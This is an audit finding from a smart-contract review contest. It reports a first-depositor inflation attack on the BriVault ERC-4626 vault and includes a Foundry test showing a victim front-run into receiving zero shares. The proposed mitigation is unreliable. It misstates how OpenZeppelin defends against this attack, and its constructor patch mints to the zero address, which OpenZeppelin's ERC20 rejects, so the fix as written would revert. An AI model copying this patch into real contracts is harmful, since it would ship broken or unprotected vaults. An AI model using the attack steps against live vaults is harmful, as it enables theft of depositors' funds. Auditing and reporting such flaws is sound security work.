BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Classic ERC-4626 Inflation Attack

Root + Impact

The _convertToShares function implements a flawed 1:1 conversion for the first depositor, making the vault vulnerable to a classic ERC-4626 inflation attack. This allows an attacker to steal the full deposit of the first legitimate user.

Description

  • Normal Behavior: The _convertToShares function is supposed to calculate the number of shares a user receives for their assets. For the very first deposit (when totalSupply == 0), it's designed to mint shares at a 1:1 ratio with the assets deposited.

  • The Problem: An attacker can front-run a legitimate user by depositing 1 wei, which mints them 1 share. The attacker then donates a large amount of assets by directly transferring them to the vault. This donation by the attacker inflates the balanceOfVault but not the totalShares. So when the deposit of the legitimate user is processed, the share calculation rounds down to 0 and their entire deposit is stolen.

// Root cause in src/briVault.sol
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply(); // total minted BTT shares so far
@> if (totalShares == 0 || balanceOfVault == 0) {
@> // First depositor: 1:1 ratio
@> return assets;
}
shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}

Risk

Likelihood: High

  • Reason 1: This attack is executed by any user at the time when the protocol launches.

  • Reason 2: The attacker simply front-runs the first legitimate deposit transaction, which is usually a standard procedure in MEV.

Impact: High

  • Impact 1: Total and direct loss of funds for the user whose deposit is front-run.

  • Impact 2: The attacker profits by the full amount of the victim's stolen deposit.

Proof of Concept

This test can be added to briVault.t.sol. It shows an attacker depositing 1 wei, donating 10 ether, and causing a victim who deposits 5 ether to receive 0 shares.

function test_inflationAttack() public {
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
mockToken.mint(attacker, 15 ether);
mockToken.mint(victim, 5 ether);
uint256 victimDepositAmount = 5 ether;
uint256 attackerDonation = 10 ether;
// Attacker deposits 1 wei to get 1 share
vm.startPrank(attacker);
mockToken.approve(address(briVault), 1 ether);
uint256 attackerShares = briVault.deposit(1, attacker);
assertEq(attackerShares, 1);
assertEq(briVault.totalSupply(), 1);
// Attacker donates 10 ether to inflate asset balance
mockToken.transfer(address(briVault), attackerDonation);
vm.stopPrank();
// Victim deposits 5 ether
vm.startPrank(victim);
mockToken.approve(address(briVault), victimDepositAmount);
// Victim receives 0 shares and loses their deposit
uint256 victimShares = briVault.deposit(victimDepositAmount, victim);
// The victim's funds are in the vault, but they received 0 shares
assertEq(victimShares, 0);
assertEq(briVault.balanceOf(victim), 0);
// Vault balance contains victim's funds
uint256 fee = (victimDepositAmount * 150) / 10000;
uint256 victimStake = victimDepositAmount - fee;
assertEq(mockToken.balanceOf(address(briVault)), 1 + attackerDonation + victimStake);
}

Recommended Mitigation

The best mitigation is to remove the custom _convertToShares function and rely on the inherited OpenZeppelin ERC4626 implementation. The openzeppelin contract's constructor mints and burns 1 wei of shares, which establishes a minimum totalSupply and prevents this attack.

To keep the custom function, replicate the mitigation in the BriVault constructor

// src/briVault.sol
constructor (IERC20 _asset, uint256 _participationFeeBsp, uint256 _eventStartDate, address _participationFeeAddress, uint256 _minimumAmount, uint256 _eventEndDate) ERC4626 (_asset) ERC20("BriTechLabs", "BTT") Ownable(msg.sender) {
if (_participationFeeBsp > PARTICIPATIONFEEBSPMAX){
revert limiteExceede();
}
participationFeeBsp = _participationFeeBsp;
eventStartDate = _eventStartDate;
eventEndDate = _eventEndDate;
participationFeeAddress = _participationFeeAddress;
minimumAmount = _minimumAmount;
_setWinner = false;
+
+ // Ensure totalSupply is never 0 to prevent inflation attack
+ _mint(address(0), 1);
+ _burn(address(0), 1);
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!